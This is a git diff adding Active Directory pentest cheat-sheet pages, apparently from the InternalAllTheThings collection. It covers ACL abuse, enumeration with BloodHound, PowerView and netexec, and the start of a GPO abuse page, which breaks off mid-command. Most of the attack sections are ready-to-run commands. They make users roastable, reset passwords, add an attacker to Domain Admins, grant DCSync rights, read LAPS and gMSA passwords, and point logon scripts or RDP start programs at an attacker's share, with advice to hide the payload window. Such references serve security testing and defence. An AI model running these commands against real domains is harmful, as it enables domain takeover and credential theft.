Kerberoasting + PowerView2 > Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'} + PowerView3 > Set-DomainObject -Identity -Set @{serviceprincipalname='any/thing'} + + # Grab the ticket + PowerView2 > $User = Get-DomainUser username + PowerView2 > $User | Get-DomainSPNTicket | fl + PowerView2 > $User | Select serviceprincipalname + + # Remove the SPN + PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname + ``` + +We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back. + +* Windows/Linux: + + ```ps1 + # Modify the userAccountControl + $ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] add uac [Target_User] -f DONT_REQ_PREAUTH + + # Grab the ticket + $ GetNPUsers.py DOMAIN/target_user -format -outputfile + + # Set back the userAccountControl + $ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] remove uac [Target_User] -f DONT_REQ_PREAUTH + ``` + +* Windows only: + + ```ps1 + # Modify the userAccountControl + PowerView2 > Get-DomainUser username | ConvertFrom-UACValue + PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose + + # Grab the ticket + PowerView2 > Get-DomainUser username | ConvertFrom-UACValue + ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username + + # Set back the userAccountControl + PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose + PowerView2 > Get-DomainUser username | ConvertFrom-UACValue + ``` + +Reset another user's password. + +* Windows/Linux: + + ```ps1 + # Using bloodyAD with pass-the-hash + bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password john.doe 'Password123!' + ``` + +* Windows only: + + ```ps1 + # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1 + $user = 'DOMAIN\user1'; + $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; + $creds = New-Object System.Management.Automation.PSCredential $user, $pass; + $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; + Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds; + ``` + +* Linux only: + + ```ps1 + # Using rpcclient from the Samba software suite + rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" + ``` + +WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : + +* Windows/Linux: + + ```ps1 + bloodyAD --host 10.0.0.5 -d example.lab -u attacker -p 'Password123*' set object delegate scriptpath -v '\\10.0.0.5\totallyLegitScript.bat' + ``` + +* Windows only: + + ```ps1 + Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.bat" + ``` + +### Group + +This ACE allows us to add ourselves to the Domain Admin group : + +* Windows/Linux: + + ```ps1 + bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 add groupMember 'Domain Admins' hacker + ``` + +* Windows only: + + ```ps1 + net group "domain admins" hacker /add /domain + ``` + +* Linux only: + + ```ps1 + # Using the Samba software suite + net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP] + ``` + +### GenericWrite and Remote Connection Manager + +> Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’. +> +> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - "ACE to RCE" - @JustinPerdok - July 24, 2020 + +:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable. + +* Windows/Linux: + + ```ps1 + bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSInitialProgram -v '\\1.2.3.4\share\file.exe' + bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSWorkDirectory -v 'C:\' + ``` + +* Windows only: + + ```ps1 + $UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld")) + $UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe" + $UserObject.TerminalServicesWorkDirectory = "C:\" + $UserObject.SetInfo() + ``` + +NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment. + +## WriteDACL + +To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights `Replicating Directory Changes/Replicating Directory Changes All`. + +### WriteDACL on Domain + +* Windows/Linux: + + ```ps1 + # Give DCSync right to the principal identity + bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B add dcsync user2 + + # Remove right after DCSync + bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B remove dcsync user2 + ``` + +* Windows only: + + ```ps1 + # Give DCSync right to the principal identity + Import-Module .\PowerView.ps1 + $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force + $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword) + Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local + ``` + +### WriteDACL on Group + +* Windows/Linux: + + ```ps1 + bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' add genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1 + + # Remove right + bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' remove genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1 + ``` + +* Windows only: + + ```ps1 + # Using native command + net group "INTERESTING_GROUP" User1 /add /domain + # Or with external tool + PowerSploit> Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1 + ``` + +## WriteOwner + +An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they wants. + +* Windows/Linux: + + ```ps1 + bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' set owner target_object devil_user1 + ``` + +* Windows only: + + ```ps1 + Powerview> Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal' + ``` + +This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group. + +## ReadLAPSPassword + +An attacker can read the LAPS password of the computer account this ACE applies to. + +* Windows/Linux: + + ```ps1 + bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime + ``` + +* Windows only: + + ```ps1 + Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime' + ``` + +## ReadGMSAPassword + +An attacker can read the GMSA password of the account this ACE applies to. + +* Windows/Linux: + + ```ps1 + bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 get object 'gmsaAccount$' --attr msDS-ManagedPassword + ``` + +* Windows only: + + ```ps1 + # Save the blob to a variable + $gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword' + $mp = $gmsa.'msDS-ManagedPassword' + + # Decode the data structure using the DSInternals module + ConvertFrom-ADManagedPasswordBlob $mp + ``` + +## ForceChangePassword + +An attacker can change the password of the user this ACE applies to: + +* Windows/Linux: + + ```ps1 + # Using bloodyAD with pass-the-hash + bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password target_user target_newpwd + ``` + +* Windows: + + ```powershell + $NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force + Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword + ``` + +* Linux: + + ```ps1 + # Using rpcclient from the Samba software suite + rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" + ``` + +## Organizational Units ACL + +Access rights granted on Organizational Units can be exploited to compromise all the objects that are contained in it. + +* [synacktiv/OUned](https://github.com/synacktiv/OUned) - The OUned project automating Active Directory Organizational Units ACL exploitation through gPLink poisoning + +### Non privileged objects + +A user having the `GenericAll` right (and thus `WriteDACL` permissions) over an OU could add a `FullControl` ACE to the OU and specify that this ACE should be inherited, which will effectively lead to the compromise of all child objects since they will inherit said ACE. + +* Grant `Full Control` on **SERVERS** OU + + ```ps1 + dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'OU=SERVERS,DC=lab,DC=local' 'lab.local'/'username':'Password1' + ``` + +* Verify that we have `Full Control` ACL on **AD01-SRV1** inside **SERVERS** + + ```ps1 + dacledit.py -action 'read' -principal 'username' -target-dn 'CN=AD01-SRV1,OU=SERVERS,DC=lab,DC=local' 'lab.local'/'username':'Password1' + ``` + +:warning: ACE inheritance from parent objects is disabled for `adminCount=1` + +### Privileged objects + +**Requirements**: + +* `GenericWrite` OR `Manage Group Policy` links +* Create a machine account +* Add new DNS records + +**Attack's Flow**: gPLink -> Attacker GPC FQDN -> GPT configuration files in Attacker SMB share -> execute a malicious scheduled task + +* Edit the `gPLink` value to include a GPC FQDN pointing the attacker machine +* Create a fake LDAP server mimicking the real one, but with a custom GPC +* GPC's gPCFileSysPath value is pointing to the attacker SMB share +* The SMB share is serving GPT configuration files including a malicious scheduled task + +**Exploit**: + +Check this [blog post from Synacktiv](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory) to correctly setup all the requirements for this attack to succeeded. + +```ps1 +sudo python3 OUned.py --config config.ini +sudo python3 OUned.py --config config.example.ini --just-coerce +``` + +## References + +* [ACE to RCE - @JustinPerdok - July 24, 2020](https://sensepost.com/blog/2020/ace-to-rce/) +* [Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs](https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-aces) +* [Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) +* [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab) +* [OU having a laugh? - Petros Koutroumpis - 6 November, 2019](https://labs.withsecure.com/publications/ou-having-a-laugh) +* [OUNED.PY: EXPLOITING HIDDEN ORGANIZATIONAL UNITS ACL ATTACK VECTORS IN ACTIVE DIRECTORY - Quentin Roland - 19/04/2024](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adds-enumerate.md b/personas/_shared/internal-allthethings/active-directory/ad-adds-enumerate.md new file mode 100644 index 0000000..4d816cb --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adds-enumerate.md @@ -0,0 +1,426 @@ +# Active Directory - Enumeration + +## Using BloodHound + +Use the appropriate data collector to gather information for **BloodHound** or **BloodHound Community Edition (CE)** across various platforms. + +* [BloodHoundAD/AzureHound](https://github.com/BloodHoundAD/AzureHound) for Azure Active Directory +* [BloodHoundAD/SharpHound](https://github.com/BloodHoundAD/SharpHound) for local Active Directory (C# collector) +* [FalconForceTeam/SOAPHound](https://github.com/FalconForceTeam/SOAPHound) for local Active Directory (C# collector using ADWS) +* [g0h4n/RustHound-CE](https://github.com/g0h4n/RustHound-CE) for local Active Directory (Rust collector) +* [NH-RED-TEAM/RustHound](https://github.com/NH-RED-TEAM/RustHound) for local Active Directory (Rust collector) +* [fox-it/BloodHound.py](https://github.com/fox-it/BloodHound.py) for local Active Directory (Python collector) +* [coffeegist/bofhound](https://github.com/coffeegist/bofhound) for local Active Directory (Generate BloodHound compatible JSON from logs written by ldapsearch BOF, pyldapsearch and Brute Ratel's LDAP Sentinel) +* [c3c/ADExplorerSnapshot.py](https://github.com/c3c/ADExplorerSnapshot.py) for local Active Directory (Generate BloodHound compatible JSON from AD Explorer snapshot) +* [CrowdStrike/sccmhound](https://github.com/CrowdStrike/sccmhound) for local Active Directory (C# collector using Microsoft Configuration Manager) +* [SpecterOps/MSSQLHound](https://github.com/SpecterOps/MSSQLHound) for MSSQL attack paths (BloodHound OpenGraph PowerShell collector) +* [SpecterOps/SnowHound](https://github.com/SpecterOps/SnowHound) for Snowflake attack paths (BloodHound OpenGraph PowerShell collector) +* [SpecterOps/GitHound](https://github.com/SpecterOps/GitHound) for GitHub attack paths (BloodHound OpenGraph PowerShell collector) +* [SpecterOps/1PassHound](https://github.com/SpecterOps/1PassHound) for 1Password attack paths (BloodHound OpenGraph PowerShell collector) +* [TheSleekBoyCompany/AnsibleHound](https://github.com/TheSleekBoyCompany/AnsibleHound) for Ansible WorX and Ansible Tower attack paths (BloodHound OpenGraph Go collector) +* [p0dalirius/sharehound](https://github.com/p0dalirius/sharehound) - for Network Shares attack paths (BloodHound OpenGraph Python collector) +* [C0KERNEL/SecretHound](https://github.com/C0KERNEL/SecretHound) - for secrets (BloodHound OpenGraph Python collector) +* [F41zK4r1m/GCP-Hound](https://github.com/F41zK4r1m/GCP-Hound) - for GCP attack path (BloodHound OpenGraph Python collector) +* [SpecterOps/ConfigManBearPig](https://github.com/SpecterOps/ConfigManBearPig) - for SCCM attack path (BloodHound OpenGraph PowerShell collector) + +**Examples**: + +* Use [BloodHoundAD/AzureHound](https://github.com/BloodHoundAD/AzureHound) (more info: [Cloud - Azure Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md#azure-recon-tools)) + +* Use [BloodHoundAD/SharpHound.exe](https://github.com/BloodHoundAD/BloodHound) - run the collector on the machine using SharpHound.exe + + ```powershell + .\SharpHound.exe -c all -d active.htb --searchforest + .\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default + .\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers (more stealthy) + + .\SharpHound.exe -c all --LdapUsername --LdapPassword --JSONFolder + .\SharpHound.exe -c all --LdapUsername --LdapPassword --domaincontroller 10.10.10.100 -d active.htb + + .\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\Windows\Temp --prettyprint --randomfilenames --collectallproperties --throttle 10000 --jitter 23 --outputprefix internalallthething + ``` + +* Use [BloodHoundAD/SharpHound.ps1](https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1) - run the collector on the machine using Powershell + + ```powershell + Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public + Invoke-BloodHound -CollectionMethod All -LDAPUser -LDAPPass -OutputDirectory + ``` + +* Use [ly4k/Certipy](https://github.com/ly4k/Certipy) to collect certificates data + + ```ps1 + certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound + certipy find 'corp.local/john:Passw0rd@dc.corp.local' -old-bloodhound + certipy find 'corp.local/john:Passw0rd@dc.corp.local' -vulnerable -hide-admins -username user@domain -password Password123 + ``` + +* Use [NH-RED-TEAM/RustHound](https://github.com/OPENCYBER-FR/RustHound) + + ```ps1 + # Windows with GSSAPI session + rusthound.exe -d domain.local --ldapfqdn domain + # Windows/Linux simple bind connection username:password + rusthound.exe -d domain.local -u user@domain.local -p Password123 -o output -z + # Linux with username:password and ADCS module for @ly4k BloodHound version + rusthound -d domain.local -u 'user@domain.local' -p 'Password123' -o /tmp/adcs --adcs -z + ``` + +* Use [FalconForceTeam/SOAPHound](https://github.com/FalconForceTeam/SOAPHound) + + ```ps1 + --buildcache: Only build cache and not perform further actions + --bhdump: Dump BloodHound data + --certdump: Dump AD Certificate Services (ADCS) data + --dnsdump: Dump AD Integrated DNS data + + SOAPHound.exe --buildcache -c c:\temp\cache.txt + SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output + SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output --autosplit --threshold 1000 + SOAPHound.exe -c c:\temp\cache.txt --certdump -o c:\temp\bloodhound-output + SOAPHound.exe --dnsdump -o c:\temp\dns-output + ``` + +* Use [fox-it/BloodHound.py](https://github.com/fox-it/BloodHound.py) + + ```ps1 + pip install bloodhound + bloodhound-python -d domain.local -u username -p password -gc LAB2008DC01.domain.local -c all + ``` + +* Use [c3c/ADExplorerSnapshot.py](https://github.com/c3c/ADExplorerSnapshot.py) to query data from SysInternals/ADExplorer snapshot (ADExplorer remains a legitimate binary signed by Microsoft, avoiding detection with security solutions). + + ```py + ADExplorerSnapshot.py -o <*.json output folder path> + ``` + +Then import the zip/json files into the Neo4J database and query them. + +```powershell +root@payload$ apt install bloodhound + +# start BloodHound and the database +root@payload$ neo4j console +# or use docker +root@payload$ docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/bloodhound -v $(pwd)/neo4j:/data neo4j:4.4-community + +root@payload$ ./bloodhound --no-sandbox +Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j +``` + +NOTE: Currently BloodHound Community Edition is still a work in progress, it is highly recommended to stay on the original [BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound/) version. + +```ps1 +git clone https://github.com/SpecterOps/BloodHound +cd examples/docker-compose/ +cat docker-compose.yml | docker compose -f - up +# UI: http://localhost:8080/ui/login +# Username: admin +# Password: see your Docker logs +``` + +You can add some custom queries like : + +* [BloodHound Queries For All - SpecterOps](https://queries.specterops.io/) +* [Bloodhound-Custom-Queries from @hausec](https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json) +* [BloodHoundQueries from CompassSecurity](https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json) +* [BloodHound Custom Queries from Exegol - @ShutdownRepo](https://raw.githubusercontent.com/ThePorgs/Exegol-images/main/sources/assets/bloodhound/customqueries.json) +* [Certipy BloodHound Custom Queries from ly4k](https://github.com/ly4k/Certipy/blob/main/customqueries.json) + +Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json`. + +## Using PowerView + +* **Get Current Domain:** `Get-NetDomain` +* **Enum Other Domains:** `Get-NetDomain -Domain ` +* **Get Domain SID:** `Get-DomainSID` +* **Get Domain Policy:** + + ```powershell + Get-DomainPolicy + + #Will show us the policy configurations of the Domain about system access or kerberos + (Get-DomainPolicy)."system access" + (Get-DomainPolicy)."kerberos policy" + ``` + +* **Get Domain Controlers:** + + ```powershell + Get-NetDomainController + Get-NetDomainController -Domain + ``` + +* **Enumerate Domain Users:** + + ```powershell + Get-NetUser + Get-NetUser -SamAccountName + Get-NetUser | select cn + Get-UserProperty + + #Check last password change + Get-UserProperty -Properties pwdlastset + + #Get a specific "string" on a user's attribute + Find-UserField -SearchField Description -SearchTerm "wtver" + + #Enumerate user logged on a machine + Get-NetLoggedon -ComputerName + + #Enumerate Session Information for a machine + Get-NetSession -ComputerName + + #Enumerate domain machines of the current/specified domain where specific users are logged into + Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName + ``` + +* **Enum Domain Computers:** + + ```powershell + Get-NetComputer -FullData + Get-DomainGroup + + #Enumerate Live machines + Get-NetComputer -Ping + ``` + +* **Enum Groups and Group Members:** + + ```powershell + Get-NetGroupMember -GroupName "" -Domain + + #Enumerate the members of a specified group of the domain + Get-DomainGroup -Identity | Select-Object -ExpandProperty Member + + #Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences + Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName + ``` + +* **Enumerate Shares** + + ```powershell + #Enumerate Domain Shares + Find-DomainShare + + #Enumerate Domain Shares the current user has access + Find-DomainShare -CheckShareAccess + ``` + +* **Enum Group Policies:** + + ```powershell + Get-NetGPO + + # Shows active Policy on specified machine + Get-NetGPO -ComputerName + Get-NetGPOGroup + + #Get users that are part of a Machine's local Admin group + Find-GPOComputerAdmin -ComputerName + ``` + +* **Enum OUs:** + + ```powershell + Get-NetOU -FullData + Get-NetGPO -GPOname + ``` + +* **Enum ACLs:** + + ```powershell + # Returns the ACLs associated with the specified account + Get-ObjectAcl -SamAccountName -ResolveGUIDs + Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose + + #Search for interesting ACEs + Invoke-ACLScanner -ResolveGUIDs + + #Check the ACLs associated with a specified path (e.g smb share) + Get-PathAcl -Path "\\Path\Of\A\Share" + ``` + +* **Enum Domain Trust:** + + ```powershell + Get-NetDomainTrust + Get-NetDomainTrust -Domain + ``` + +* **Enum Forest Trust:** + + ```powershell + Get-NetForestDomain + Get-NetForestDomain Forest + + #Domains of Forest Enumeration + Get-NetForestDomain + Get-NetForestDomain Forest + + #Map the Trust of the Forest + Get-NetForestTrust + Get-NetDomainTrust -Forest + ``` + +* **User Hunting:** + + ```powershell + #Finds all machines on the current domain where the current user has local admin access + Find-LocalAdminAccess -Verbose + + #Find local admins on all machines of the domain: + Invoke-EnumerateLocalAdmin -Verbose + + #Find computers were a Domain Admin OR a specified user has a session + Invoke-UserHunter + Invoke-UserHunter -GroupName "RDPUsers" + Invoke-UserHunter -Stealth + + #Confirming admin access: + Invoke-UserHunter -CheckAccess + ``` + +## Using AD Module + +* **Get Current Domain:** `Get-ADDomain` +* **Enum Other Domains:** `Get-ADDomain -Identity ` +* **Get Domain SID:** `Get-DomainSID` +* **Get Domain Controlers:** + + ```powershell + Get-ADDomainController + Get-ADDomainController -Identity + ``` + +* **Enumerate Domain Users:** + + ```powershell + Get-ADUser -Filter * -Identity -Properties * + + #Get a specific "string" on a user's attribute + Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description + ``` + +* **Enum Domain Computers:** + + ```powershell + Get-ADComputer -Filter * -Properties * + Get-ADGroup -Filter * + ``` + +* **Enum Domain Trust:** + + ```powershell + Get-ADTrust -Filter * + Get-ADTrust -Identity + ``` + +* **Enum Forest Trust:** + + ```powershell + Get-ADForest + Get-ADForest -Identity + + #Domains of Forest Enumeration + (Get-ADForest).Domains + ``` + +* **Enum Local AppLocker Effective Policy:** + + ```powershell + Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections + ``` + +## User Hunting + +Sometimes you need to find a machine where a specific user is logged in. +You can remotely query every machines on the network to get a list of the users's sessions. + +* netexec + + ```ps1 + nxc smb 10.10.10.0/24 -u Administrator -p 'P@ssw0rd' --sessions + SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [+] Enumerated sessions + SMB 10.10.10.10 445 WIN-8OJFTLMU1IG \\10.10.10.10 User:Administrator + ``` + +* Impacket Smbclient + + ```ps1 + $ impacket-smbclient Administrator@10.10.10.10 + # who + host: \\10.10.10.10, user: Administrator, active: 1, idle: 0 + ``` + +* PowerView Invoke-UserHunter + + ```ps1 + # Find computers were a Domain Admin OR a specified user has a session + Invoke-UserHunter + Invoke-UserHunter -GroupName "RDPUsers" + Invoke-UserHunter -Stealth + ``` + +## RID cycling + +In Windows, every security principal (user, group, etc.) has a Security Identifier (SID). The SID is a unique identifier used for access control. + +```ps1 +S-1-5-21-- +``` + +* `S-1-5-21-` = Base domain SID +* `` = Unique ID assigned to a user/group + +RID cycling involves brute-forcing a range of RIDs (like 500–1500) by appending them to the known domain SID, and attempting to resolve each SID into a username. + +* Using [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) + + ```ps1 + netexec smb 10.10.11.231 -u guest -p '' --rid-brute 10000 --log rid-brute.txt + SMB 10.10.11.231 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False) + SMB 10.10.11.231 445 DC01 [+] rebound.htb\guest: + SMB 10.10.11.231 445 DC01 498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup) + SMB 10.10.11.231 445 DC01 500: rebound\Administrator (SidTypeUser) + SMB 10.10.11.231 445 DC01 501: rebound\Guest (SidTypeUser) + SMB 10.10.11.231 445 DC01 502: rebound\krbtgt (SidTypeUser) + ``` + +* Using Impacket script [impacket/lookupsid.py](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) + + ```ps1 + lookupsid.py -no-pass 'guest@rebound.htb' 20000 + ``` + +## Other Interesting Commands + +* **Find Domain Controllers** + + ```ps1 + nslookup domain.com + nslookup -type=srv _ldap._tcp.dc._msdcs..com + nltest /dclist:domain.com + Get-ADDomainController -filter * | Select-Object name + gpresult /r + $Env:LOGONSERVER + echo %LOGONSERVER% + ``` + +## References + +* [Explain like I’m 5: Kerberos - Apr 2, 2013 - @roguelynn](https://www.roguelynn.com/words/explain-like-im-5-kerberos/) +* [Pen Testing Active Directory Environments - Part I: Introduction to netexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-netexec-powerview/) +* [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/) +* [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/) +* [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/) +* [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/) +* [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/) +* [Attacking Active Directory: 0 to 0.9 - Eloy Pérez González - 2021/05/29](https://zer1t0.gitlab.io/posts/attacking_ad/) +* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments) +* [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/) +* [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/) +* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/) +* [PowerView 3.0 Tricks - HarmJ0y](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) +* [SOAPHound - tool to collect Active Directory data via ADWS - Nikos Karouzos - 01/26/204](https://medium.com/falconforce/soaphound-tool-to-collect-active-directory-data-via-adws-165aca78288c) +* [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adds-group-policy-objects.md b/personas/_shared/internal-allthethings/active-directory/ad-adds-group-policy-objects.md new file mode 100644 index 0000000..3bb1ecd --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adds-group-policy-objects.md @@ -0,0 +1,163 @@ +# Active Directory - Group Policy Objects + +> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner + +:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local + +GPO are stored in the DC in `\\\SYSVOL\\Policies\\`, inside two folders **User** and **Machine**. +If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at `Machine\Preferences\ScheduledTasks`. + +:warning: Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: `gpupdate /force`. + +## Find vulnerable GPO + +Look a GPLink where you have the **Write** right. + +```powershell +Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")} +``` + +* [cogiceo/GPOHound](https://github.com/cogiceo/GPOHound) - Offensive GPO dumping and analysis tool that leverages and enriches BloodHound data. + +```ps1 +pipx install "git+https://github.com/cogiceo/GPOHound" +gpohound dump --json +gpohound dump --list --gpo-name +gpohound dump --guid 21246D99-1426-495B-9E8E-556ABDD81F94 +gpohound dump --file scripts psscripts +gpohound dump --search 'VNC.*Server' --show +gpohound analysis --json +gpohound analysis --processed --object group registry +gpohound analysis --guid CCF6CAE3-E280-4109-8F9D-25461DBB5D67 --affected +gpohound analysis --computer 'SRV-PA-03.NORTH.SEVENKINGDOMS.LOCAL' --order +gpohound analysis --enrich +``` + +## Abuse GPO with SharpGPOAbuse + +* [FSecureLABS/SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse) - SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO. + +```powershell +# Build and configure SharpGPOAbuse +Install-Package CommandLineParser -Version 1.9.3.15 +ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll + +# Adding User Rights +.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable 